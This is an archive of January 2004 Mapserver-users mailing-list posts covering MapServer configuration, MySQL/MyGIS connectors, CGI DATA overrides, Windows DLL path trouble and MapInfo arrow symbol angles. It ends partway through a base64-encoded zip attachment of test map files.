From adams at terrestris.de Wed Jan 28 02:10:37 2004 From: adams at terrestris.de (Till Adams) Date: Wed, 28 Jan 2004 11:10:37 +0100 Subject: [Mapserver-users] DBR Files Message-ID: <40178A9D.3030005@terrestris.de> Dear List, has anyone heard about the "Raster Accelerator" from Tensing and their raster-data-format "dbr" or even tried to implement this into MapServer? Any info is welcome. For interested: More info on www.rasteraccelerator.com. Thanks in advance, Till From dholeman1 at cox.net Thu Jan 1 23:01:21 2004 From: dholeman1 at cox.net (Don Holeman) Date: Fri, 2 Jan 2004 02:01:21 -0500 Subject: [Mapserver-users] Test application needed Message-ID: <15db01c3d0fe$3a804020$7cda0944@cx475666a> Greetings All, I'm in need of someone with a functional Mapserver application who would be willing to help me test and refine the configuration of a server on which I'm intending to offer Mapserver shared hosting services, in exchange for which I'll host the application at no charge. Mapserver has been installed on a rh9 box with the following configuration and I'd like to find one or two applications that would test as many of the libraries as possible: --with-eppl --with-freetype --enable-force-freetype1 --with-gd --with-gdal --with-jpeg --with-libiconv --with-ogr --with-php --with-png --with-postgis --with-proj --with-pdf --with-ming --with-threads --with-tiff --with-wfs --with-wfsclient --with-wmsclient --with-xpm --with-zlib Postgres v. 7.3.4 is the currently installed version. The Mapserver version is 4.1 build date 12-30-2003. MySQL is available but the version is 4.0.15 which is currently incompatible with MyGIS. Interested developers are welcome to send me a note off-list, dholeman ~a~ alpheta ~dot~ net. All the Best, Don Holeman From spencer at dmsolutions.ca Sat Jan 3 13:27:38 2004 From: spencer at dmsolutions.ca (Paul Spencer) Date: Sat, 03 Jan 2004 16:27:38 -0500 Subject: [Mapserver-users] MySQL and Mapserver In-Reply-To: References: Message-ID: <3FF733CA.7020807@magma.ca> Bart, if you are interested in point geometries only, there is a new format in OGR to set up a virtual layer that can draw columns from any ODBC data source and map two of the columns to x and y locations. We've used it for a couple of clients and it works very nicely. If you are interested I can send you more details. Cheers, Paul Bart van den Eijnden wrote: > Hi list, > > I see in the history log that there has been some work done recently > (early December) by Attila on supporting MySQL 4.X for the MyGIS > connector. Can it be used already? > > Also, is it possible to keep the geometries in shapefiles and use > Mapserver JOINS to link to tables in MySQL? > > Thanks in advance for the info. > > Best regards, > Bart > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ----------------------------------------------------------------- |Paul Spencer spencer at dmsolutions.ca | |-----------------------------------------------------------------| |Applications & Software Development | |DM Solutions Group Inc http://www.dmsolutions.ca/| ----------------------------------------------------------------- From kallwn at icircus.net Sun Jan 4 03:54:06 2004 From: kallwn at icircus.net (kallwn) Date: Sun, 4 Jan 2004 04:54:06 -0700 Subject: [Mapserver-users] MySQL and Mapserver References: <3FF733CA.7020807@magma.ca> Message-ID: <001001c3d2b9$749dd7b0$4700a8c0@MOBILE> Paul This sounds exactly the type of problem I'm wrestling with. I have over 32,000 cities and towns plotted and am trying to show events that occurred in each location by city, state. Since I'm fairly new to this so if you think those details might help me I would appreciate it if you can send them to me also. ----- Original Message ----- From: "Paul Spencer" To: Cc: Sent: Saturday, January 03, 2004 14:27 Subject: Re: [Mapserver-users] MySQL and Mapserver > Bart, > > if you are interested in point geometries only, there is a new format in > OGR to set up a virtual layer that can draw columns from any ODBC data > source and map two of the columns to x and y locations. We've used it > for a couple of clients and it works very nicely. If you are interested > I can send you more details. > > Cheers, > > Paul > > Bart van den Eijnden wrote: > > > Hi list, > > > > I see in the history log that there has been some work done recently > > (early December) by Attila on supporting MySQL 4.X for the MyGIS > > connector. Can it be used already? > > > > Also, is it possible to keep the geometries in shapefiles and use > > Mapserver JOINS to link to tables in MySQL? > > > > Thanks in advance for the info. > > > > Best regards, > > Bart > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > -- > ----------------------------------------------------------------- > |Paul Spencer spencer at dmsolutions.ca | > |-----------------------------------------------------------------| > |Applications & Software Development | > |DM Solutions Group Inc http://www.dmsolutions.ca/| > ----------------------------------------------------------------- > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From d.prati at arpalombardia.it Sun Jan 4 11:37:58 2004 From: d.prati at arpalombardia.it (Davide Prati) Date: Sun, 4 Jan 2004 20:37:58 +0100 Subject: [Mapserver-users] CGI variables Message-ID: Hi all, I'm newbie in mapserver, and obviously I've any questions. I'm trying to change the DATA parameter for a layer The layer setup is: LAYER NAME Background_10k STATUS default MINSCALE 0 MAXSCALE 10000 DATA "c:\catasto\cartine\a4d1.tif" TYPE RASTER OFFSITE 255 255 255 END and this load a 1:10000 image for the background Now I will change the name of the file using: map_Backgruond_10k_data="c:\catasto\cartine\a4d1.tif" But it does not work! The image showed stay the same. Another problem... I'm trying to use this block: LAYER NAME CRT TILEINDEX "C:\CATASTO\GIS\SHAPE\CARTINE.shp" TILEITEM "Location" TYPE RASTER STATUS DEFAULT MINSCALE 0 MAXSCALE 400000 OFFSITE 255 255 255 END CARTINE.shp is the mosaic for 51 Tiff image. MapServer report this error for each field in shape file. "Warning 1: C:\Catasto\Cartine\A4e3.tif:incorrect count for field "DateTime" (11, expecting 20); tag ignored" Is this a bug or there are some bug in my shape file dbf file? Thank Dr. Davide Prati ARPA Lombardia (Agenzia Regionale protezione Ambiente) Varese - ITALY d.prati at arpalombardia.it From edman007x at mac.com Sun Jan 4 12:06:08 2004 From: edman007x at mac.com (Ed Martin) Date: Sun, 4 Jan 2004 15:06:08 -0500 Subject: [Mapserver-users] How do i display only the points i want? (PHP/Mapscript) Message-ID: <6F8CED36-3EF1-11D8-A14F-0003934DD798@mac.com> i'm using php mapscript and can't figure out how i get it to only display the points i want, i have a shapefile that has all the towns in the US (they are all points) and i have the index of every point i want to display, i can't figure out how to do this so basically what do i do to first make it so that by default the points don't show up on the map, but when i give the index of one of the points it shows up i looked at the php mapscript class reference stuff and can't find anything that looks like it will do this From palle at mail-online.dk Sun Jan 4 12:20:05 2004 From: palle at mail-online.dk (Palle Due Larsen) Date: Sun, 04 Jan 2004 21:20:05 +0100 Subject: [Mapserver-users] CGI variables In-Reply-To: References: Message-ID: Hi, Looks like the same old thing: You must specify a pattern for data in the url. DATAPATTERN "*" in the map file should do it. I assume you are using mapserver 4.0x. Best regards Palle Due Larsen Carl Bro GIS&IT -----Original Message----- From: "Davide Prati" To: Date: Sun, 4 Jan 2004 20:37:58 +0100 Subject: [Mapserver-users] CGI variables > Hi all, > > I'm newbie in mapserver, and obviously I've any questions. > > I'm trying to change the DATA parameter for a layer > The layer setup is: > LAYER > NAME Background_10k > STATUS default > MINSCALE 0 > MAXSCALE 10000 > DATA "c:\catasto\cartine\a4d1.tif" > TYPE RASTER > OFFSITE 255 255 255 > END > > and this load a 1:10000 image for the background > Now I will change the name of the file using: > > map_Backgruond_10k_data="c:\catasto\cartine\a4d1.tif" > > But it does not work! The image showed stay the same. > > Another problem... > I'm trying to use this block: > > LAYER > NAME CRT > TILEINDEX "C:\CATASTO\GIS\SHAPE\CARTINE.shp" > TILEITEM "Location" > TYPE RASTER > STATUS DEFAULT > MINSCALE 0 > MAXSCALE 400000 > OFFSITE 255 255 255 > END > > CARTINE.shp is the mosaic for 51 Tiff image. > > MapServer report this error for each field in shape file. > "Warning 1: C:\Catasto\Cartine\A4e3.tif:incorrect count for field > "DateTime" > (11, expecting 20); tag ignored" > > Is this a bug or there are some bug in my shape file dbf file? > > Thank > > Dr. Davide Prati > ARPA Lombardia (Agenzia Regionale protezione Ambiente) > Varese - ITALY > d.prati at arpalombardia.it > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users F? en gratis emailkonto her: www.mail-online.dk ----------------------------------------------- Deltag i en lille konkurrence p? nettet, og vind et gavekort p? 50.000 kroner... KLIK HER: www.nyhedsbasen.dk/konkurrence From mikereilly_7 at hotmail.com Sun Jan 4 21:35:10 2004 From: mikereilly_7 at hotmail.com (Mike Reilly) Date: Sun, 04 Jan 2004 21:35:10 -0800 Subject: [Mapserver-users] (no subject) Message-ID: I'm setting up a new server for my partner on his laptop so he can show clients our progress to date, but I'm having some problems getting things going. I've previously set up my test server and his old laptop with no problems. Environment: Windows XP, Apache 2.0.48 from binary, Mapserver 4.0 from binary. I have also set up mysql and php, but they aren't involved in the errors. I've edited both the itasca test site and my own application to match the environment of the new server. The mysql and php portions of the application are working fine (except the parts that require the mapserver enabled page to send a siteid to them). I tested the mapfile configuration by using "shp2img -m c:\program files\apache group\apache2\Kitasoo\tus2-1.map -o test.png and it produced an image in the Kitasoo directory. Here's the error I receive when opening the map page: Internal Server Error The server encountered an internal error or misconfiguration and was unable to complete your request The apache log contains the following: [Sun Jan 04 21:17:35 2004] [error] [client 127.0.0.1] Premature end of script headers: mapserv.exe, referer: http://localhost/kitasoo/ I can't find any other error sources. Does anyone have any ideas? _________________________________________________________________ Protect your PC - get McAfee.com VirusScan Online http://clinic.mcafee.com/clinic/ibuy/campaign.asp?cid=3963 From mikereilly_7 at hotmail.com Sun Jan 4 23:37:37 2004 From: mikereilly_7 at hotmail.com (Mike Reilly) Date: Sun, 04 Jan 2004 23:37:37 -0800 Subject: [Mapserver-users] (no subject) Message-ID: >From: "Mike Reilly" >To: mapserver-users at lists.gis.umn.edu >Subject: [Mapserver-users] (no subject) >Date: Sun, 04 Jan 2004 21:35:10 -0800 > >I'm setting up a new server for my partner on his laptop so he can show >clients our progress to date, but I'm having some problems getting things >going. I've previously set up my test server and his old laptop with no >problems. > >Environment: Windows XP, Apache 2.0.48 from binary, Mapserver 4.0 from >binary. I have also set up mysql and php, but they aren't involved in the >errors. I've edited both the itasca test site and my own application to >match the environment of the new server. The mysql and php portions of the >application are working fine (except the parts that require the mapserver >enabled page to send a siteid to them). I tested the mapfile configuration >by using "shp2img -m c:\program files\apache >group\apache2\Kitasoo\tus2-1.map -o test.png and it produced an image in >the Kitasoo directory. > >Here's the error I receive when opening the map page: >Internal Server Error >The server encountered an internal error or misconfiguration and was unable >to complete your request > >The apache log contains the following: >[Sun Jan 04 21:17:35 2004] [error] [client 127.0.0.1] Premature end of >script headers: mapserv.exe, referer: http://localhost/kitasoo/ > >I can't find any other error sources. Does anyone have any ideas? > >_________________________________________________________________ >Protect your PC - get McAfee.com VirusScan Online >http://clinic.mcafee.com/clinic/ibuy/campaign.asp?cid=3963 > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users Ok, turned out that Windows XP wasn't reading it's PATH variable properly or something. I double and triple checked the PATH variable, and it checked out perfectly (even echoed it to make sure it was correct). However, copying the dll's to the cgi-bin directory got things working properly. Strange, very strange. _________________________________________________________________ Add photos to your messages with MSN 8. Get 2 months FREE*. http://join.msn.com/?page=dept/features&pgmarket=en-ca&RU=http%3a%2f%2fjoin.msn.com%2f%3fpage%3dmisc%2fspecialoffers%26pgmarket%3den-ca From plists at prometheus.org.yu Sun Jan 4 23:51:54 2004 From: plists at prometheus.org.yu (Attila Csipa) Date: Mon, 5 Jan 2004 08:51:54 +0100 Subject: [Mapserver-users] MySQL WKB in OGR? In-Reply-To: <19975.212.238.227.182.1072698171.squirrel@webmail.xs4all.nl> References: <19975.212.238.227.182.1072698171.squirrel@webmail.xs4all.nl> Message-ID: <200401050851.54206.plists@prometheus.org.yu> On Monday 29 December 2003 12:42, bartvde at xs4all.nl wrote: > Or are only a few people using the MyGIS connector and would it be a > better move to write a MySQL Spatial connector for Mapserver? A note - mygis is not actively developed. It will be replaced (at least I think it will) by an universal extender (JADE) for non-spatial databases, which would be implemented with minimal changes od the postgis code for hooking up to JADE. This engine is adaptable, so it is possible to leave some functions to the native database and some to be implemented by the extender It is similar to OGR in some aspects (as an universal data wrapper) but is more generic and functionality and code can be changed regardless of platform and without recompiling mapserver or JADE itself. The case of mixed functionality is what would happen in the case of the mysql version with spatial extensions, while the extender woiuld do all the work in the 3.x versions. I planned to have JADE functionality in mapserver a few months ago but other things popped up in the meantime, so unfortunately the project got delayed. From frank.koormann at intevation.de Mon Jan 5 01:29:17 2004 From: frank.koormann at intevation.de (Frank Koormann) Date: Mon, 5 Jan 2004 10:29:17 +0100 Subject: [Mapserver-users] CGI variables In-Reply-To: References: Message-ID: <20040105092917.GA1309@intevation.de> Davide, * Palle Due Larsen [040104 21:52]: > Hi, > > Looks like the same old thing: You must specify a pattern for data in > the url. DATAPATTERN "*" in the map file should do it. I assume you are > using mapserver 4.0x. > > Best regards > > Palle Due Larsen > Carl Bro GIS&IT > I addition to what Palle said (which is correct): - In your example both path strings are equal. If you really tried this you shouldn't get a change in background image. - In your example is a typo in the URL (Backgruond) - I haven't checked the mapserver parsers in detail but the layer name (Background_10k) might be a problem too. You may change this eg to Background10k just for a check. Regards Frank > -----Original Message----- > From: "Davide Prati" > To: > Date: Sun, 4 Jan 2004 20:37:58 +0100 > Subject: [Mapserver-users] CGI variables > > > Hi all, > > > > I'm newbie in mapserver, and obviously I've any questions. > > > > I'm trying to change the DATA parameter for a layer > > The layer setup is: > > LAYER > > NAME Background_10k > > STATUS default > > MINSCALE 0 > > MAXSCALE 10000 > > DATA "c:\catasto\cartine\a4d1.tif" > > TYPE RASTER > > OFFSITE 255 255 255 > > END > > > > and this load a 1:10000 image for the background > > Now I will change the name of the file using: > > > > map_Backgruond_10k_data="c:\catasto\cartine\a4d1.tif" > > > > But it does not work! The image showed stay the same. > > -- Frank Koormann Professional Service around Free Software (http://intevation.net/) FreeGIS Project (http://freegis.org/) From hugo at pbh.gov.br Mon Jan 5 05:27:21 2004 From: hugo at pbh.gov.br (Hugo Nathaniel Rodrigues) Date: Mon, 5 Jan 2004 11:27:21 -0200 Subject: [Mapserver-users] is this project possible with php_mapscript/mapserver? Message-ID: <00b201c3d38f$a636d020$7a00110a@ESTIVA> This is a multi-part message in MIME format. ------=_NextPart_000_00AF_01C3D37E.E293C160 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable hi to all, i will make a project where i will open one homepage with a map (like = the gmap75 example), but where i will update information from one = database (sql, mysql, this i can do in php, i know), so, when one person = update the database, this will be updated automatic in the map when = he/she open this map.... my 3 problems are: 1) i have maps from mapinfo to use (.tab), have any way to work with = them to do this? 2) if the question 1 is false, is this possible with maplab maps? 3) if 1 is false and 2 is true, have any application who converts = mapinfo files in maplab files? (maybe if i get ogrinfo information in = txt file i can read and save the information like maplab?) i dont want to know "how", i will find out this with research, i only = want to know "is possible or not" thanks cheers Hugo Rodrigues Analista/Consultor SSSS - Prodabel ------=_NextPart_000_00AF_01C3D37E.E293C160 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
hi to all,
 
i will make a project where i will open = one=20 homepage with a map (like the gmap75 example), but where i will update=20 information from one database (sql, mysql, this i can do in php, i = know), so,=20 when one person update the database, this will be updated automatic in = the map=20 when he/she open this map....
 
my 3 problems are:
1) i have maps from mapinfo to use = (.tab), have any=20 way to work with them to do this?
2) if the question 1 is false, is this = possible=20 with maplab maps?
3) if 1 is false and 2 is true, have = any=20 application who converts mapinfo files in maplab files? (maybe if i get = ogrinfo=20 information in txt file i can read and save the information like=20 maplab?)
 
i dont want to know "how", i will find = out this=20 with research, i only want to know "is possible or = not"
 
thanks
cheers
Hugo = Rodrigues
Analista/Consultor
SSSS -=20 Prodabel
------=_NextPart_000_00AF_01C3D37E.E293C160-- From Ballini.Yvain at seat.it Mon Jan 5 05:25:56 2004 From: Ballini.Yvain at seat.it (Ballini Yvain) Date: Mon, 5 Jan 2004 14:25:56 +0100 Subject: [Mapserver-users] Mapinfo symbols Message-ID: <4B1A1EC0790F054193453C48725D43180B8CD2@MSGBE1V1.seat.it> This is a multi-part message in MIME format. ------_=_NextPart_001_01C3D38F.73720431 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable =20 Hi, First, I wish a happy new year for all the list! I would like to know if someone has some news about the problem of = managing the angle value for point symbol. My concrete problem is that I = can read the position but not the orientation of the arrow which is = contained in the "Style" line of the .tab (see my last mail under). The other part of my question was about recognizing the symbol = mapinfo-sym-111: ok, I cant' see the angle value of the point, but I'm = also unable to see the registered symbols (mapinfo-sym-111 or the = MapInfo "old style" mapinfo-sym-32), and I have to put the default = symbol (a pixel) or one of mines. Doing so, I loss the information about = orientation and that's a critical loss for arrows which should precisely = indicate the street directions...! :) For the testcase, I send you an = extract of my tab file (small_arrow.tab, small_arrow.map, = small_arrow.dat, small_arrow.id) and also the same version converted in = shapefile (small_arrow.shp, small_arrow.shp, small_arrow.dbf) with the = mapfile test_demo.map which should enable to see it (it's in a zone of = Milan). In the test tab file the symbols which are used are = mapinfo-sym-111 and mapinfo-sym-32. This layer "arrow" is the only one = that I can't see correctly and completely in my application. Thank you very much again! :-) Yvain. -----Messaggio originale----- Da: Daniel Morissette [mailto:morissette at dmsolutions.ca] Inviato: gioved=EC 18 dicembre 2003 0.43 A: Ballini Yvain Cc: mapserver-users at lists.gis.umn.edu Oggetto: Re: [Mapserver-users] Mapinfo symbols Yvain, Um, I checked the code and it seems that we ignore the angle value = coming from STYLEITEM AUTO for point symbols. Could please you submit a = bug with a small mapfile and arrow.tab to reproduce this? I'm not sure = when we would have time to work on this, but with a testcase to = reproduce it's always easier for us. Thanks Daniel Ballini Yvain wrote: > Hi list, >=20 > I would like to read the arrows of a .tab file in mapserver: the pb is = > that I can read the position but not the orientation of the arrow=20 > which is contained in the "Style" line of the .tab (see under). > when I try to read my file arrow.tab with ogrinfo it turns me these=20 > properties for the arrow layer: >=20 > Layer name: arrow > Geometry: Point > Feature Count: 267349 > Extent: (6.682870, 36.681040) - (18.495850, 46.895265) Layer SRS WKT: > GEOGCS["unnamed", > DATUM["WGS_1984", > SPHEROID["WGS 84",6378137,298.257223563], > TOWGS84[0,0,0,0,0,0,0]], > PRIMEM["Greenwich",0], > UNIT["degree",0.0174532925199433]] > LABEL: String (70.0) > OGRFeature(arrow):1 > LABEL (String) =3D > Style =3D = SYMBOL(a:322,c:#4144ae,s:13pt,id:"mapinfo-sym-111.ogr-sym-1") > POINT (8.85458500 45.96559000) >=20 > OGRFeature(arrow):2 > LABEL (String) =3D > Style =3D = SYMBOL(a:322,c:#4144ae,s:13pt,id:"mapinfo-sym-111.ogr-sym-1") > POINT (8.85458500 45.96559000) > ........ >=20 > I define my arrow layer like that: > LAYER > NAME freccie_navtech > PROJECTION > "proj=3Dlonglat" > "ellps=3Dintl" > "no_defs" > END > STATUS OFF > DATA arrow#chiave_in_piazzale_segesta#arrow#vie3_polyline > CONNECTIONTYPE OGR > CONNECTION > "c:\mapserver\itasca\data\arrow.tab"#chiave_in_piazzale_segesta.tab"#a > rr > ow.tab" > STYLEITEM "AUTO" > TYPE point > CLASS > #STYLE > # SYMBOL arrow > # size 20 > COLOR 88 88 245 > #ANTIALIAS TRUE > #END > END > END >=20 > I think I can't recognize the id mapinfo-sym-111 which represents the=20 > arrow...but the position of the default point symbol is right on the=20 > map. > Does someone know something about this problem or if there is a=20 > setting in the mapfile which could solve my problem? > Thanks a lot. > Yvain. =20 >=20 >=20 ------_=_NextPart_001_01C3D38F.73720431 Content-Type: application/x-zip-compressed; name="small_arrow.zip" Content-Transfer-Encoding: base64 Content-Description: small_arrow.zip Content-Disposition: attachment; filename="small_arrow.zip" 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 